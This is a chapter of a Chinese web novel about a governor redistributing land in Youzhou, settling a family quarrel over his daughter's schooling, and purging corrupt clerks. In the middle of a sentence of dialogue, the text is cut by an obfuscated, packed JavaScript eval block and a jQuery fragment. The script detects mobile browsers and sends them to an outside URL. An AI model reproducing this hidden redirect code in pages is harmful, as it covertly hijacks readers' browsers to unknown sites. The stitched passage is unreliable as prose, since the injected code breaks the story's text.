许多人只觉得热泪盈眶,他们大多没读过书,不知道这感觉从何而来,也不知道该如何描述这种感觉。
只是第一次听到有人说“百姓万岁”呢。
一张张平凡的、粗糙的脸涨得通红,一张张嘴声嘶力竭地高呼“百姓万岁”。
有些人至今才知道,原来自己并非草芥。
原来自己也是人。
原来也会有人将他们看在眼里。
李明光等人在笑、在欢呼,他们本身就是出自底层,完全不觉得这句话有什么不对,只觉得这正合他们心意。
萧轩面上在笑,神情却有些恍惚。
百姓……万岁吗?
那他们这些世家子弟,又算什么?
于是,幽州分地运动轰轰烈烈地开始了。
莫惊春也明白了好事多磨的道理。
他从前从来不知道,原来分东西还能扯出这么多事。
田地肥瘦远近、水源多少都是很复杂的事情,平时温顺的农民到了这件事争得特别厉害。
一开始,莫惊春坐镇城内主持改革一事,清理完豪强只是开始,接下来要重新建立行政系统,选拔、安插自己的亲信、族人进入本地官吏系统,才算是彻底掌控了幽州。
此外,还要改革经济体制,煤矿、铁矿、铜矿、铸造铜币、医师下乡等事也等着他处理。
每日处理这些杂七杂八的事情,牵扯住了莫惊春的全部注意力。
一日傍晚,就在莫惊春头晕脑胀地骑着马下班时,有农民拦路哭诉官吏分地不公,请求莫惊春作主。
算是当街被啪啪打脸。
莫惊春的表情从疲惫茫然到愤怒,再到镇静,他对李玄女说:“今晚你安置好他们,明日查清真相。”他倒要看看,谁敢闹事。
李玄女点了几个人出来,“你们带他们去客舍安置,明日我要看到全须全尾的人。”
“是。”
然后她才跟上莫惊春,低调地在护卫身侧。
回到家,用完晚餐后,莫惊春抱着李树到书房询问孩子们的学习进度,两人学习进度是一样的,但很显然李芝学得更好,背书流利,答题也快。
莫惊春笑道:“不错,今日课文背得流畅,答题也好。”
随即他嘱咐管家,“明日送一份礼物给先生。”
到李兰背书时,就有些磕磕碰碰的,李芝在一旁时不时给点提示。
莫惊春也不拦着。
一是姐弟情深,他没必要去做这个坏人,二是李兰学习态度很端正,这就够了,不论学得如何,为了完成李璟的心愿,都有李兰的一世富贵,没必要鸡娃,身心健康最重要。
等李兰终于背出课文之后,他自己都松了一口气,耳朵红得跟烧红的炭似的。
莫惊春也赞扬了他,“不错,今日背得比昨日快。”
闻言,李兰露出了一个略带腼腆的笑。
李芝恨铁不成钢地看着弟弟,今天的课文比昨天的短,要是背得比昨天还慢,她非给他一巴掌不可。
再到李玉,才几岁,笔都抓不稳,一天下来能认几个字就不错了。
莫惊春抓了一把瓜子给他。
急得李树哇哇大叫,扭着身子就要下地,“我也要我也要!”
李玉分了几颗给他,脸上心疼极了,又问了问兄姊要不要,李兰说不要,李芝才不管,直接从他手里拿走几颗瓜子,然后津津有味地吃了起来。
吓得李玉赶紧抓紧剩下的瓜子,然后塞进嘴里。
李树吃得最快最香甜,吃完还想吃,又向李玉伸出一双肉乎乎的小手。
李玉干脆躲到了李兰身后。
见此,李树有些失望,但并没有生气或者耍赖,而是转身抱着莫惊春的大腿要抱,“王戎简要,裴开清冬。孔明瓦龙……王导公公。”
声音很好听,摇头晃脑的样子也很可爱,但问题是莫惊春听不太懂他在说什么。
他听李树背完后,忍不住笑,“王导公公是什么?我只听说过太阳公公。”
李芝笑道:“三弟是在背<蒙求>啦,树郎也想要阿耶奖励的瓜子对不对?”
“对,阿耶,给瓜子。”李树看着莫惊春,伸出手。
“咳,那小树背得对不对呢?”
“对。”李树坚持。
李芝说:“三弟好聪明啊,二弟正在学都还没会背呢,三弟听着听着就会背了。就是读音不准,内容倒是没错。”
既然如此,莫惊春也抓了一把瓜子给李树。
李树得了瓜子后,先分莫惊春几颗,就迫不及待地下地,分了李芝、李兰、李玉各几颗。
他人小手小,本来就拿不了多少瓜子,这样一分,自己手上倒是不剩几颗了,他看着手心里孤零零的瓜子,呆住了,转过身给莫惊春看,“阿耶,没有了。”
莫惊春一把吃掉刚刚被分掉的瓜子,把空空如也的手掌给李树看。
“没有了,你分给别人的,不能再要回来了。”
“嗯。”李树鼓着嘴巴嚼嚼嚼,嚼完也不咽下去,就含在嘴里,直到瓜子的香味都没了才咽下去。
靠着这种珍惜的吃法,李树吃了一个时辰才吃完。
不过那不是重点,重点是莫惊春见李芝、李兰又长高了许多,心中想了想,“幽州分地一事出了个意外,你们谁愿替我去查查?”
李芝举手,“阿耶,我愿意!”
李兰忧心忡忡,“可是,阿耶,我们还要去上课啊。”
两人的声音同时响起,话音一落,二人互相看了看。
“我可以替你们向老师告个假。”
李兰想了想,说,“我想在家里好好读书,可以吗?”
“当然可以。既然芝娘去,明日起早些,去了多听多看多思考。”
李芝反应过来,这就不是换个地方学习吗?立即高高兴兴地应是。
她转头就去给芸娘请安,见芸娘正在纳鞋底,心疼地说:“阿娘,这些事交给婢女们做不就好了?”
“你懂什么?外人做的鞋底你根本穿不惯,一穿就说不舒服,我这么辛辛苦苦的,还不是为了你?”
芸娘坐在几支孩童手臂粗的牛油蜡烛旁边,在明亮的灯火下,咬牙用力地将小锥子穿过几层鞋底,看都没看李芝一眼。
李芝无话可说,撅嘴自闭了一会儿,还是忍不住笑着跟芸娘说了今天的事。
芸娘终于转过头来看着李芝,神色却十分不悦,开始对李芝大批特批。
从她管教弟弟们,到监督管家们管家,再到整天往外跑,没点淑女样,将来恐怕没有哪个男子愿意娶她。
这些话李芝都听得耳朵起茧子了,垂着头假装在听,手里不停地捏着装了绢人的香囊,左耳进右耳出。
偏偏芸娘见李芝一副死猪不怕开水烫的模样,起了火,用食指戳着她的额头,“这些都算了,你年纪还小影响不大。但是你学习怎么不让让弟弟?弟弟学习比你这个做阿姊的差,这像什么话?”
说别的事就算了,说到学习这个令李芝十分骄傲的事,她是一点就炸。
“学习这种事,会就是会,不会就是不会,哪有叫人让的道理?在家里叫我让着他,难道出了门也叫别人让着他吗?”
噼里啪啦一顿输出,顶得芸娘一把大火往头上烧,“好啊你,我是你阿娘,说你几句怎么了?还敢顶嘴?这世上有你这样不孝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300742|145157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺的女儿吗?”
李芝的脸顿时白了。
她跟过老师学习,自然知道不孝是个多大的罪过。就是在乡下,一个不孝的儿女,也是要被乡里乡亲戳脊梁骨的。
她心底发寒,牙关冷得直打颤,阿娘就这么恨她吗?
但她这个时候什么都不能做,多做多错,只能大哭,嘴里说着:“这是阿耶吩咐我的,女儿没有不孝。”
说完就哭着跑去找莫惊春。
她知道,这时候,只有身为父亲的莫惊春能保住她的名声。
莫惊春知道之后,拍了拍小姑娘发抖的后背,“别怕,洗个脸,我带你去见你阿娘。”
一脸懵逼,还不知道发生的事情有多严重的芸娘等来了名义上的丈夫和眼睛红肿的女儿,心里有些恼怒这孩子一点也不懂体谅她,但她硬生生地忍下了,挤出一个笑。
“郎君。”
“家里事多,得用的人也少,难道我不用自家人反要用外人吗?芝娘过几年就要议亲了,不趁着还在家好好学,难道以后再学?”
闻言,芸娘自觉地在“以后”二字后面加上“嫁人了”,顿时服气,怒气也散了,“郎君说的是,芝娘这孩子连话都不会说,脾气又臭,是得好好学。我要不是她阿娘,都要被她气死。”
莫惊春无语,我才是要被气死。
他深呼吸,“还有学习一事,各人有各人的缘分。兰郎是男子,学习过得去就行,人品才是最重要的,他将来也不靠学习吃饭。芝娘是女子,才要有个好成绩。”
芸娘将这句话理解为,将来节度使这个位置是要传给李兰的,自然不必在意学习如何。
但李芝是女孩,也要有点文化提高身价。
她顿时定了心,笑了起来,“是,我明白了。”
这件事就这样风平浪静地过去了,一丝痕迹都没有留下来。
只是人心哪有那么容易平息呢?
第二天李芝穿上男装出门,跟着莫惊春手下和武侯们清查小吏,当天就出了结果。
不出意外,又是顶风作浪的大聪明。
这也是大安自有的国情,各地那些累世的小吏,职位代代相传。
虽然比不上一般的官员身份清贵体面,但他们都是地头蛇,与豪强勾结,彼此联姻,有时候,连来就任的官员都要受他们摆布。
对百姓,他们就更过分了,欺压百姓,办事拖沓,收受贿赂。
这些动作听起来好像罪过不大,但每个小动作落到百姓身上都是一座大山。
莫惊春二话不说,干脆把幽州小吏也全查了一遍,该关的关,该杀的杀,清理干净后任用退役或伤残士兵为小吏。
然后他开始亲自主持分地,因为知道李芝跟芸娘有矛盾,干脆这段时间就一直带着她,以至于许多幽州百姓都认得了李芝的脸。
为了防止贪玩腐败,莫惊春又效仿御史制度,建立了督察部门,专门监督官吏。
且督察部门直接对莫惊春负责,不受其他部门限制。
此外,还改革武侯制度,建立流动武侯队伍,让武侯们轮流巡视乡野,保证底层人民求告有门,防止本地宗族侵占节度使的权力。 </蒙求>